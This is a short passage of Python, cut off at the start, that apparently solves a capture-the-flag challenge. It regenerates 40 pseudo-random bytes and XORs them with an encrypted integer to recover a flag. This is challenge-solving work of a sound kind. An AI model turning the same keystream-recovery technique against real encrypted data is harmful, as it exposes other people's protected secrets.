    print(w(5, 10000))
b = bytearray([w(0, 255) for _ in range(40)])
enc = enc.to_bytes(255,'little')
print(enc)
flag = bytearray([l ^ p for l, p in zip(enc, b)])
print(flag)